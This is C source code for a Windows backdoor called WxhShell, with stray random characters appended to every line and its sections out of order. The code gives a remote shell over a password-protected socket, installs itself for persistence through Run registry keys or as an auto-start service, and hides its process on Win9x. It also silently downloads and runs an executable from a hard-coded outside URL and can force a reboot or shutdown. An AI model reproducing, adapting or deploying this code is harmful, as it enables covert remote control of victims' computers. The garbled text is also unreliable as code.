    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &3Yj2 Fw  
    if(Boot(SHUTDOWN)) 7P<f(@0h$E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'aqQ K<  
    else { (Hj[9[=  
    closesocket(wsh); ;Mo_B9  
    ExitThread(0); ge1. HG  
    } \*=wm$p&*  
    break; 9?MzIt  
    } J@2wPKh?Yp  
  // 获取shell "3\y~<8%'  
  case 's': { ||>4XDV#  
    CmdShell(wsh); hNsi  8/  
    closesocket(wsh); `MCiybl,&P  
    ExitThread(0); *U,J Q  
    break; NS2vA>n8R  
  } xYCJO(&  
  // 退出 h?p_jI  
  case 'x': { Yi?bY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @;`'s  
    CloseIt(wsh); +/Y2\ s  
    break; S'8+jY  
    } +^+'.xQ  
  // 离开 \ c4jGJ  
  case 'q': { s{R ,- \_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vhbHt_!u&  
    closesocket(wsh); OcO/wA(&{  
    WSACleanup(); `DF49YP"~  
    exit(1); /0H}-i  
    break; !IdVg$7  
        } G@#lf@M]  
  } ofV0L  
  } /uX*FZ  
D$ K'Qk  
  // 提示信息 /nQuM05*Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6"* <0  
} OQ hQ!6  
  } T2S_> #."l  
I2WP/  
  return; cJaA*sg  
} k:Y\i]#yP  
$ mE* =  
// shell模块句柄 U%s@np  
int CmdShell(SOCKET sock) ];hqI O#nM  
{ TLVsTM8 P  
STARTUPINFO si; (O4oI U  
ZeroMemory(&si,sizeof(si)); '*mZ/O-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qWheoyAB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k\ .9iI'6  
PROCESS_INFORMATION ProcessInfo; t_jn-Idcf  
char cmdline[]="cmd"; Rtz~:v%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u6Gqg(7hw  
  return 0; FHQ`T\fC$@  
} ,{HQKHg  
"H[K3  
// 自身启动模式 dT*Yv`h  
int StartFromService(void) f(w>(1&/B  
{ cl4z%qv*  
typedef struct {73V?#P4  
{ F1stRZ1ZI  
  DWORD ExitStatus; "ktuq\a@  
  DWORD PebBaseAddress; I{cH$jt<  
  DWORD AffinityMask; NUYKMo1ze  
  DWORD BasePriority; (Of6Ij?  
  ULONG UniqueProcessId; W+!UVUpW  
  ULONG InheritedFromUniqueProcessId; AE}cHBwZE  
}   PROCESS_BASIC_INFORMATION; l;_IH|A  
7j\^h2  
PROCNTQSIP NtQueryInformationProcess; dgpE3 37Lt  
\,G9'c 'u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1;$XX#7o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aYaEy(m  
-i:WA^yKgw  
  HANDLE             hProcess; XeI2 <=@%  
  PROCESS_BASIC_INFORMATION pbi; cZxY,UvYa  
]##aAh-P4&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hU""YP ~y  
  if(NULL == hInst ) return 0; 9KU&M"Yq&i  
/ovVS6Ai  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d-_V*rYU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X?'cl]1?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +_7a/3kh  
f"FFgQMkv  
  if (!NtQueryInformationProcess) return 0; ad: qOm  
7x6 M]1F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kP%hgZ  
  if(!hProcess) return 0; UA8hYWRP  
losqc *|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ @eA o>  
P0.cF]<m  
  CloseHandle(hProcess); eZPeyYX  
)*]A$\Oc[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R7Y_ 7@p  
if(hProcess==NULL) return 0; x8rg/y  
=:s`C,l.4  
HMODULE hMod; U S ALoe  
char procName[255]; {h+8^   
unsigned long cbNeeded; Y.Zd_,qy  
|&=-Nm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2nkA%^tR  
=8T!ldVxES  
  CloseHandle(hProcess); 6]?%1HSi  
~-zTY&c_  
if(strstr(procName,"services")) return 1; // 以服务启动 l e'RU1k  
NbU`_^oC  
  return 0; // 注册表启动 =o##z5j K  
} N@c G jpQ  
+-<G(^  
// 主模块 <}RI<96  
int StartWxhshell(LPSTR lpCmdLine) n>ui'}L  
{ TF/NA\0c$  
  SOCKET wsl; U*r54AyP  
BOOL val=TRUE; 7{F\b  
  int port=0; R!j#  
  struct sockaddr_in door; OZxJDg  
@.W;3|~qc  
  if(wscfg.ws_autoins) Install(); M 5sk&>  
h~k<"  
port=atoi(lpCmdLine); fmz"Zg 9=  
3@V?L:J  
if(port<=0) port=wscfg.ws_port; A7X a  
$yASWz  
  WSADATA data; f=l/Fp}4UH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +^Xf:r` G  
bZYayjxZ5i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZG^<<V$h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ] ]U)wg  
  door.sin_family = AF_INET; %b^4XTz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wSjDa.?'  
  door.sin_port = htons(port); 44ty,M3  
_X4Y1zh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S $p>sItO  
closesocket(wsl); eyMn! a  
return 1; a*cWj }u  
} ^+P.f[  
$ ZI ]  
  if(listen(wsl,2) == INVALID_SOCKET) { o`S``?`^)^  
closesocket(wsl); PeIx41. +s  
return 1; f]/2uUsg %  
} kg^0%-F  
  Wxhshell(wsl); hU$o^ICH  
  WSACleanup(); 0zH-g  
R2Tt6  
return 0; -MTk9<qnT  
F$a s#.7FF  
} X hq ss),  
H@uu;:l<7A  
// 以NT服务方式启动 UT\4Xk<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %P0  
{ 0&,D&y%  
DWORD   status = 0; m%[e_eS  
  DWORD   specificError = 0xfffffff; 1cK'B<5">]  
XH?//.q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; unFRfec{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %/Wk+r9uu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s:tX3X  
  serviceStatus.dwWin32ExitCode     = 0; Xq;|l?,O  
  serviceStatus.dwServiceSpecificExitCode = 0; c7XBZ%D  
  serviceStatus.dwCheckPoint       = 0; w,p'$WC*  
  serviceStatus.dwWaitHint       = 0; qLCNANWnd  
E]mm^i`|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4QA~@pBX^{  
  if (hServiceStatusHandle==0) return; $+Ze"E  
|}4\Gm  
status = GetLastError(); nFQuoU]ux  
  if (status!=NO_ERROR) ~lo43$)^  
{ G(7%*@SX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qofAA!3z  
    serviceStatus.dwCheckPoint       = 0; >%tG[jb  
    serviceStatus.dwWaitHint       = 0; }:2##<"\t  
    serviceStatus.dwWin32ExitCode     = status; tDRR3=9pX  
    serviceStatus.dwServiceSpecificExitCode = specificError; =@!t/LR7kg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Tj&gyS  
    return; LI%dJ*-V  
  } NBPP?\1  
mXz*Gi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `6~0W5  
  serviceStatus.dwCheckPoint       = 0; :K6JrS  
  serviceStatus.dwWaitHint       = 0; W0f^!}f(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PLkS-B  
} i47LX;}  
JdS,s5Z>  
// 处理NT服务事件,比如:启动、停止 R;!,(l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !mxH/{+|n  
{ BEOPZ[Q|c  
switch(fdwControl) Or? )Nlg6x  
{ 7 FE36Ub9  
case SERVICE_CONTROL_STOP: ; dzL9P9IU  
  serviceStatus.dwWin32ExitCode = 0; "J"=<_?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v.|#^A?Qx  
  serviceStatus.dwCheckPoint   = 0; n[Q(q[ULV  
  serviceStatus.dwWaitHint     = 0; (I$%6JO:  
  { _Ay^v#a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQ.zqr  
  } o-=|}u]mz  
  return; ;z4J)qw  
case SERVICE_CONTROL_PAUSE: 8'*x88+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z,aMbgt  
  break; "SMJ:g",  
case SERVICE_CONTROL_CONTINUE: t$$YiO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yP{ 52%|+  
  break; !Aj}sh{  
case SERVICE_CONTROL_INTERROGATE: >Hnm.?-AWl  
  break; 3 2z4G =l  
}; u ]"fwkL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h^ Cm\V  
} {IgH0+z  
$eFMn$o  
// 标准应用程序主函数 ;M.Q=#;E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0OM^,5%8  
{ Mc,|C)  
O.+J%],  
// 获取操作系统版本 ZPH_s^  
OsIsNt=GetOsVer(); 2p&$bf t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @*y4uI6&  
[`@M!G.  
  // 从命令行安装 r.e K;  
  if(strpbrk(lpCmdLine,"iI")) Install(); dcY(1p)  
RHFRN&RU$  
  // 下载执行文件 H0s*Lb  
if(wscfg.ws_downexe) { %'1iT!g8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 66& uK|  
  WinExec(wscfg.ws_filenam,SW_HIDE);  4v`/~a  
} xS1|t};  
YD[HBF)~j  
if(!OsIsNt) { 5[4wN( )  
// 如果时win9x,隐藏进程并且设置为注册表启动 qHub+"2  
HideProc(); -*k2:i`  
StartWxhshell(lpCmdLine); AJ}FHym_ZQ  
} v/ N[)<  
else Ro]Z9C>1o  
  if(StartFromService()) `-{l$Hn9|~  
  // 以服务方式启动 +g g_C'"  
  StartServiceCtrlDispatcher(DispatchTable); !CU-5bpu  
else D U\ytD`u  
  // 普通方式启动 c0zcR)=mL  
  StartWxhshell(lpCmdLine); K[icVT2v~  
+ Tp% *  
return 0; lMFo)4&P  
} ym|7i9  
L ?/AKg  
S=,czs3N  
CK[8y&  
=========================================== 1gV?}'jq  
3*<@PXpK&  
\1Y|$:T/  
4MPy}yT*  
^y@ W\  
{N}az"T4f  
" 7n#-3#_mG  
b#?sx"z  
#include <stdio.h> `o{ Z;-OF  
#include <string.h> -| FHv+  
#include <windows.h> >UCg3uFj  
#include <winsock2.h> TnN yth wZ  
#include <winsvc.h> nook/7]  
#include <urlmon.h> :k_&Zd j,B  
C~T ,[U  
#pragma comment (lib, "Ws2_32.lib") a(vt"MQ_  
#pragma comment (lib, "urlmon.lib") IVPN=jg?  
q'8*bu_  
#define MAX_USER   100 // 最大客户端连接数 ]jD\4\M}  
#define BUF_SOCK   200 // sock buffer /O:4u_  
#define KEY_BUFF   255 // 输入 buffer @ ;!IPiU  
HX2u{2$  
#define REBOOT     0   // 重启 Z5'^81m$o  
#define SHUTDOWN   1   // 关机 ~ L4NK#  
yz K<yvN  
#define DEF_PORT   5000 // 监听端口 B<I(t"s  
%/uLyCUZ  
#define REG_LEN     16   // 注册表键长度 Led\S;pl  
#define SVC_LEN     80   // NT服务名长度 '! ^7 *@z  
2L&c91=wE  
// 从dll定义API lW?}Ts ~'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }W'j Dz7O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  [p6:uNo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]B )nN':  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c ?CD;Pk  
r x9*/Q0F  
// wxhshell配置信息 p(pfJ^/:(  
struct WSCFG { PV#h_X<l%  
  int ws_port;         // 监听端口 B6dU6"  
  char ws_passstr[REG_LEN]; // 口令 !-`L1D_hy  
  int ws_autoins;       // 安装标记, 1=yes 0=no %w^*7Oi  
  char ws_regname[REG_LEN]; // 注册表键名 A{s -g>s  
  char ws_svcname[REG_LEN]; // 服务名 t[TM\j0jW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iQ" LIeD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3g4=as4w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i!2k f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i6HRG\9nU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~qqxHymc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <<LLEdB  
bRu 9*4t  
}; kqKT>xo4EZ  
5)< Y3nU~  
// default Wxhshell configuration 48 wt  
struct WSCFG wscfg={DEF_PORT, W7n^]~V  
    "xuhuanlingzhe", YA pC|R,^  
    1, m+XHFU  
    "Wxhshell", #8h7C8]&  
    "Wxhshell", DyqqY$ vH(  
            "WxhShell Service", -]^JaQw  
    "Wrsky Windows CmdShell Service", ; +\h$  
    "Please Input Your Password: ", b|-)p+ba  
  1, ;-`NT` #2  
  "http://www.wrsky.com/wxhshell.exe", SY5}Bu#  
  "Wxhshell.exe" (xW+* %  
    }; =u}~\ 'd  
+A8q.-N G  
// 消息定义模块 .T7CMkYt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .bY>++CAPA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bJn&Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /%;J1 {O  
char *msg_ws_ext="\n\rExit."; }~W/NP_F  
char *msg_ws_end="\n\rQuit."; L91vp'+2  
char *msg_ws_boot="\n\rReboot..."; f#&z m} t  
char *msg_ws_poff="\n\rShutdown..."; }6^5mhsL  
char *msg_ws_down="\n\rSave to "; N & b3cV  
y]t19G+  
char *msg_ws_err="\n\rErr!"; JRC2+BU /  
char *msg_ws_ok="\n\rOK!"; w=fWW^>bP  
<B>qE a_I  
char ExeFile[MAX_PATH]; >bWpj8Kv  
int nUser = 0; FNUs .d"  
HANDLE handles[MAX_USER]; %P~;>4i,  
int OsIsNt; Jd/d\P  
d,?D '/  
SERVICE_STATUS       serviceStatus; ]*=!lfrV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KH)-=IJ8  
?ja%*0 R  
// 函数声明 LT$t%V0?.e  
int Install(void); E] g Lwg9K  
int Uninstall(void); B Evt{q4  
int DownloadFile(char *sURL, SOCKET wsh); Njg87tKB  
int Boot(int flag); /TsXm-g#  
void HideProc(void); lF64g  
int GetOsVer(void); Iq%<E:+GL  
int Wxhshell(SOCKET wsl); $yi:0t8t  
void TalkWithClient(void *cs); G0!6rDu2,  
int CmdShell(SOCKET sock); Eb~vNdPo  
int StartFromService(void); Ag2~q  
int StartWxhshell(LPSTR lpCmdLine); kttJTP77t  
{Y5@SI yE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aPlEM_escS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uxn+.fA  
mC@v,"  
// 数据结构和表定义 <xSh13<  
SERVICE_TABLE_ENTRY DispatchTable[] = &-FG}|*4M  
{ =c \(]xX  
{wscfg.ws_svcname, NTServiceMain}, f|(9+~K/7&  
{NULL, NULL} kntY2FM  
}; J>#hu3&UOQ  
~x(|'`  
// 自我安装 iLv -*%%  
int Install(void) ]h1.1@>xc  
{ :%9R&p:'ar  
  char svExeFile[MAX_PATH]; P7W|e~]Yq  
  HKEY key; 517"x@6Q  
  strcpy(svExeFile,ExeFile); cZ)JvU9]  
]v}W9{sY  
// 如果是win9x系统,修改注册表设为自启动 \(7A7~  
if(!OsIsNt) { o:v_I{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !S&/Zp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?@PSD\  
  RegCloseKey(key); e46`"}r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |pZ7k#%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]8wm1_qV  
  RegCloseKey(key); PeIi@0vA  
  return 0; j]&Qai~}Y  
    } GU`q^q@Ea  
  } }%}$h2:  
} |WS@q'  
else { l8(9?!C  
DqY"N ]  
// 如果是NT以上系统,安装为系统服务 l"JM%LV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @ NDcO,]  
if (schSCManager!=0) h-Y>>l>PW0  
{ ~D5FnN9  
  SC_HANDLE schService = CreateService ]:@{tX 7c  
  ( 6X9$T11Vc  
  schSCManager, |APOTQV  
  wscfg.ws_svcname, Y?1T XsvF  
  wscfg.ws_svcdisp, ZzBaYoNy[0  
  SERVICE_ALL_ACCESS, +}at#%1@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _;^x^  
  SERVICE_AUTO_START, Oto8?4[n  
  SERVICE_ERROR_NORMAL, $X;OK  
  svExeFile, vh&~Y].W Y  
  NULL, p @q20>^u  
  NULL, du }HTrsC  
  NULL, hd9~Zw]V  
  NULL, 72RTEGy  
  NULL ^L.I9a#]  
  ); 2HVqJib4Yn  
  if (schService!=0) 03)irq%l;  
  { 'LG\]h>+)  
  CloseServiceHandle(schService); sF)$<[w  
  CloseServiceHandle(schSCManager); IAkQR0fcN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0TV16 --  
  strcat(svExeFile,wscfg.ws_svcname); TD floDxA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `qd5+~c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m Qx1co  
  RegCloseKey(key); .<%q9Jy#  
  return 0; 7hx^U90K  
    } F$4=7Njv  
  } h&i(Kfv*  
  CloseServiceHandle(schSCManager); FZU1WBNL%t  
} X&aQR[X  
} yn+m,K/  
xcl;~"c *  
return 1; 6(?@B^S>2  
}  ^F?B_'  
!7~4`D c6U  
// 自我卸载 %.Btf3y~  
int Uninstall(void) 2vB,{/GXP  
{  8zRw\]?  
  HKEY key; 8?m=Vw<kIZ  
ubZuvWZ  
if(!OsIsNt) { 65@GXn[W_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Giw\|:f(  
  RegDeleteValue(key,wscfg.ws_regname); [7x;H  
  RegCloseKey(key); (W"0c?i|]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JcP<@bb>B  
  RegDeleteValue(key,wscfg.ws_regname); HL[V}m  
  RegCloseKey(key); S.iUiS"  
  return 0; `ba<eT':  
  } >o p/<?<  
} Vm@VhCsp  
} MW^FY4V1m  
else { QHje}  
$B>L_~cS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E{-pkqx  
if (schSCManager!=0) f]2gjQHM  
{ -$%~EY}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9\Rk(dd  
  if (schService!=0) wrCV&2CG  
  { <MO40MP  
  if(DeleteService(schService)!=0) { ;>>:7rdYt  
  CloseServiceHandle(schService); H.n|zGQTB  
  CloseServiceHandle(schSCManager); GRL42xp'*D  
  return 0; { ~{D(k  
  } V^D 1:9i  
  CloseServiceHandle(schService); xPT$d,~"  
  } cbou1Ei   
  CloseServiceHandle(schSCManager); uVZm9Sp  
} JKp@fQT *  
} ?JRfhJ:j  
4u|6^ wu.I  
return 1; >4>. Ycp  
} [KO\!u|?YS  
|%X_<Cpk  
// 从指定url下载文件 ss|n7  
int DownloadFile(char *sURL, SOCKET wsh) )"P.n-aF  
{ Tnf&32 IA  
  HRESULT hr; WpI5C,3Z!l  
char seps[]= "/"; hI<$lEB  
char *token; c7?|Tipc  
char *file; RvVF^~u  
char myURL[MAX_PATH]; )086u8w )y  
char myFILE[MAX_PATH]; bX`]<$dr3  
xU.Ymq& 5  
strcpy(myURL,sURL); aeLIs SEx  
  token=strtok(myURL,seps); S +73 /Vs  
  while(token!=NULL) bw#\"uJ  
  { s5d[sx  
    file=token; tUfze9m  
  token=strtok(NULL,seps); '+^XL6$L  
  } 8fWnKWbbjw  
blbzh';0}  
GetCurrentDirectory(MAX_PATH,myFILE); pek5P4W_  
strcat(myFILE, "\\"); kc2E4i  
strcat(myFILE, file); {;UBW7{  
  send(wsh,myFILE,strlen(myFILE),0); t nmz5Q  
send(wsh,"...",3,0); ac4dIW{$3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NlG!_D"(y  
  if(hr==S_OK) aI\ >=*HF  
return 0; <C*%N;F5R  
else }2?-kj7  
return 1; Si#XF[/  
giddM2'  
} OJcI0(G  
g;3<oI/P  
// 系统电源模块 ^&c|z35F  
int Boot(int flag) q*J-ii  
{ kA4kQ}q  
  HANDLE hToken; '_=XfTF  
  TOKEN_PRIVILEGES tkp; EX3;|z@5;  
'aZAWY d  
  if(OsIsNt) { 97 !VH> MX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BS3BJwf; f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T:j!a{_|  
    tkp.PrivilegeCount = 1; pHDPj,lu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uUpOa+t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~65lDFY/  
if(flag==REBOOT) { `p^xdj}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `jFvG\aC  
  return 0; yF&?gPh&  
} K)8 m?sf/  
else { v[ y|E;B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E"H> [E  
  return 0; !jJH}o/KW  
} fAR0GOI  
  } TlBu3z'P  
  else { 5th\_n}N2/  
if(flag==REBOOT) { F>3fP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;%i.@@:IQ  
  return 0; L@5g#mSl  
} Uefw  
else { !}uev  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;,_c1x/F  
  return 0; J 9k~cz  
} ! XNTk]!  
} 9o5_QnGE  
le`_    
return 1; gI~jf- w  
} !;C *Wsp}  
&5wM`  
// win9x进程隐藏模块 d`+cNKf  
void HideProc(void) thSo,uGlW  
{ uO`YA]  
IC7S +v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vo DTU]pf  
  if ( hKernel != NULL ) bQM_rqjJGw  
  { 76*5/J-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z)zmT%t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #(NkbJ5ka  
    FreeLibrary(hKernel);  ,  
  } (Sg52zv  
W|kKH5E&  
return; nMHs5'_y  
} Q:B:  
Ea*Jl<  
// 获取操作系统版本 f)+fdc  
int GetOsVer(void) ojH-;|f  
{ ~FV Z0%+,  
  OSVERSIONINFO winfo; i;>Hy|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \YBY"J  
  GetVersionEx(&winfo); _,4f z(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f[/E $r99J  
  return 1; #_bSWV4  
  else uU]4)Hp  
  return 0; =p)Wxk  
} Qy@r&  
)#dP:  
// 客户端句柄模块 ^25[%aJI  
int Wxhshell(SOCKET wsl) 93d ht  
{ B6b {hsO  
  SOCKET wsh; [sY>ac  
  struct sockaddr_in client; `QlChxd  
  DWORD myID; nNFZ77lg  
tXTa>Q  
  while(nUser<MAX_USER) )LwB  
{ ~l@SGHx  
  int nSize=sizeof(client); AjZ@hid  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JtU/%s  
  if(wsh==INVALID_SOCKET) return 1; ^kMgjS}R  
F+S;u=CKx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i-E~ZfJ  
if(handles[nUser]==0) 9c1n  
  closesocket(wsh); DPNUm<>  
else XoaBX2  
  nUser++; t$Z#zx X  
  } !f \y3p*j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E0}jEl/{  
0Kjm:x9T  
  return 0; g<Sa{<0  
} .;n<k  
T%xB|^lf  
// 关闭 socket zRJopcE<  
void CloseIt(SOCKET wsh) :R<n{%~  
{ iCIu]6  
closesocket(wsh); z rt8ze=Su  
nUser--; a-,BBM8|  
ExitThread(0); @"H+QVJ@  
} ?K/z`E!xhN  
xxm1Nog6  
// 客户端请求句柄 fO.gfHI  
void TalkWithClient(void *cs) #{l+I( M  
{ ?'h<yxu]u0  
qf9.S)H1Z  
  SOCKET wsh=(SOCKET)cs; !_cT_ WHty  
  char pwd[SVC_LEN]; mIZ#uW  
  char cmd[KEY_BUFF]; 9frS!AQ  
char chr[1]; LRv-q{jP;  
int i,j; XH0R:+s  
!G#3jh:kiY  
  while (nUser < MAX_USER) { 8_ns^6XK5p  
52>?l C  
if(wscfg.ws_passstr) { kG+CT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %9=^#e+pE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Au" [2cG  
  //ZeroMemory(pwd,KEY_BUFF); x 1$tS#lS  
      i=0; mD)_quz.sk  
  while(i<SVC_LEN) { ~'HwNzDQc  
Ajhrsa\~a  
  // 设置超时 |_%|  
  fd_set FdRead; xUzSS@ot^  
  struct timeval TimeOut; kO\(6f2|x  
  FD_ZERO(&FdRead); JF_\A)<ki  
  FD_SET(wsh,&FdRead); 0%+TU4Xx  
  TimeOut.tv_sec=8; Xt/muV  
  TimeOut.tv_usec=0; _'dsEF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `yHV10  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /z,sM"d  
X{ZBS^M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  vu  YH+  
  pwd=chr[0]; \p.Byso,  
  if(chr[0]==0xd || chr[0]==0xa) { dLal 15Pb  
  pwd=0; >NW /0'/  
  break; M\8FjJ>9  
  } 3`k 1  
  i++; ho@f}4jhQ3  
    } ALwkX"AN  
*n2Q_o  
  // 如果是非法用户,关闭 socket yI bz\3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M0x5s@  
} o 1#XM/Z  
W==HV0n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bUp%87<*X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ab-S*| B  
* "ER8\  
while(1) { M{:gc7%  
,ibI@8;#~'  
  ZeroMemory(cmd,KEY_BUFF); x"v5'EpL  
\y: 0+s/  
      // 自动支持客户端 telnet标准   .F?yt5{5No  
  j=0; `t:7&$>T  
  while(j<KEY_BUFF) { y^hpmTB3"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <i~ ( 8F\  
  cmd[j]=chr[0]; 1p23&\\~  
  if(chr[0]==0xa || chr[0]==0xd) { ]^&DEj{  
  cmd[j]=0; <{YP=WYW  
  break; ^QB/{9#  
  } |RwD]2H  
  j++; ,u{d@U^)3@  
    } B8|=P&L7N  
o]}b#U8S  
  // 下载文件 pt(GpbtWK  
  if(strstr(cmd,"http://")) { zV4%F"-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C 1|e1  
  if(DownloadFile(cmd,wsh)) _1dG!!L_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yiu)0\ o  
  else ,^,Vq]$3  
